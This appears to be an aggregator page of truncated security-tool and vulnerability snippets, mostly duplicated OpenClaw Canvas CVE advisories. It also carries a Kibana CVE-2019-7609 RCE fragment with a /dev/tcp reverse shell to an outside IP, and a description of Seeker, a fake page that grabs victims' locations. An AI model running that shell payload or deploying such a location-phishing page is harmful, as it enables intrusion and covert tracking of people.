what-you-reveal

╦ ╦╦ ╦╔═╗╔╦╗ ╦ ╦╔═╗╦ ╦ ╦═╗╔═╗╦ ╦╔═╗╔═╗╦ ║║║╠═╣╠═╣ ║ ╚╦╝║ ║║ ║ ╠╦╝║╣ ╚╗╔╝║╣ ╠═╣║ ╚╩╝╩ ╩╩ ╩ ╩ ╩ ╚═╝╚═╝ ╩╚═╚═╝ ╚╝ ╚═╝╩ ╩╩═╝ SYSTEM ANALYSIS TOOL // BROWSER FINGERPRINT DEMO What You Reveal is a privacy analysis tool designed to show exactly what information your browser exposes to websites. It...

seeker

利用可能な言語 Seeker の背後にあるコンセプトはシンプルです。フィッシングページをホストして認証情報を取得するのと同じように、多くの人気のある位置情報ベースのWebサイトのように、位置情報を要求する偽のページをホストします。詳細は thewhiteh4t's ブログ をご覧ください。Seeker は、位置情報の許可を求める偽のWebサイトをホストし、ターゲットが許可すると以下を取得できます： 経度 緯度 精度 高度 - 常に利用できるわけではありません 方角 - ユーザーが移動中の場合のみ利用可能 速度 - ユーザーが移動中の場合のみ利用可能 位置情報とともに、デバイス情報...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas をクリックして getshell...

CVE-2023-27035

CVE-2023-27035 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 脆弱性タイプ: 不適切なアクセス制御 説明: Obsidian Canvas 1.1.9 で発見された問題により、リモートの攻撃者がキャンバスページ上の埋め込みウェブサイトを介して、デスクトップ通知の送信、ユーザー音声の録音、その他の未指定の影響を引き起こす可能性があります。 影響: 悪意のある埋め込みウェブサイトは、ユーザーの許可や知識なしにObsidianアプリケーション内の機密性の高いWEB...

sigint

SIGINT Real-time OSINT dashboard with live aircraft, vessel, seismic, fire, weather, and event tracking on an interactive globe. Built with Bun, React 19, and a custom Canvas 2D + Web Worker rendering engine. Installable as a PWA. Screenshot Table of Contents SIGINT Screenshot Table of Contents...

CVE-2014-1773

CClipStack::PushClipRect Invalid Array Indexing First, starting with the callstack from the crash with pageheap enabled: ChildEBP RetAddr 0919aac8 6b58459f MSHTML!CWorldTransform::IsAxisAligned 0919ab40 6ba228e9 MSHTML!CDispSurface::CClipStack::PushClipRect+0x1a2 0919aba4 6be25b58...

CVE-2026-100554

OpenClaw npm package 'openclaw' versions = 2026.5.12 and 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability...

CVE-2026-100554 OpenClaw before 2026.8.1 Canvas Capability Revocation Bypass

OpenClaw npm package 'openclaw' versions = 2026.5.12 and 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability...

CVE-2026-100554 OpenClaw before 2026.8.1 Canvas Capability Revocation Bypass

OpenClaw npm package 'openclaw' versions = 2026.5.12 and 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability...

CVE-2026-100554 OpenClaw before 2026.8.1 Canvas Capability Revocation Bypass

OpenClaw npm package 'openclaw' versions = 2026.5.12 and 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability...

EUVD-2026-87496

OpenClaw npm package 'openclaw' versions = 2026.5.12 and 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability...

CVE-2026-100554

The OpenClaw (npm package 'openclaw') versions >= 2026.5.12 and

PT-2026-99191

Name of the Vulnerable Software and Affected Versions OpenClaw versions 2026.5.12 through 2026.8.0 Description When a paired node is revoked, the system fails to immediately invalidate Canvas HTTP authorization. While the WebSocket client is invalidated, the Canvas HTTP authorization continues to...

The vulnerability of the HTML-in-Canvas component in Google Chrome and Microsoft Edge web browsers allows a hacker to gain unauthorized access to protected information.

The vulnerability of the HTML-in-Canvas component in Google Chrome and Microsoft Edge is related to a lack of mechanisms for verifying the source of the data. Exploiting this vulnerability could allow an attacker to gain unauthorized access to protected information...

EUVD-2026-83801

A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...

CVE-2026-94094

A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...

CVE-2026-94094 OpenClaw Canvas Host Route server.ts createCanvasHostHandler denial of service

A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...

CVE-2026-94094 OpenClaw Canvas Host Route server.ts createCanvasHostHandler denial of service

A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...

PT-2026-96013

Name of the Vulnerable Software and Affected Versions OpenClaw versions prior to 2026.9.6 Description A flaw in the Canvas Host Route component allows a remote attacker to cause a denial of service. The issue exists in the createCanvasHostHandler function within the...

CVE-2026-94094: Improper Resource Shutdown or Release

A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...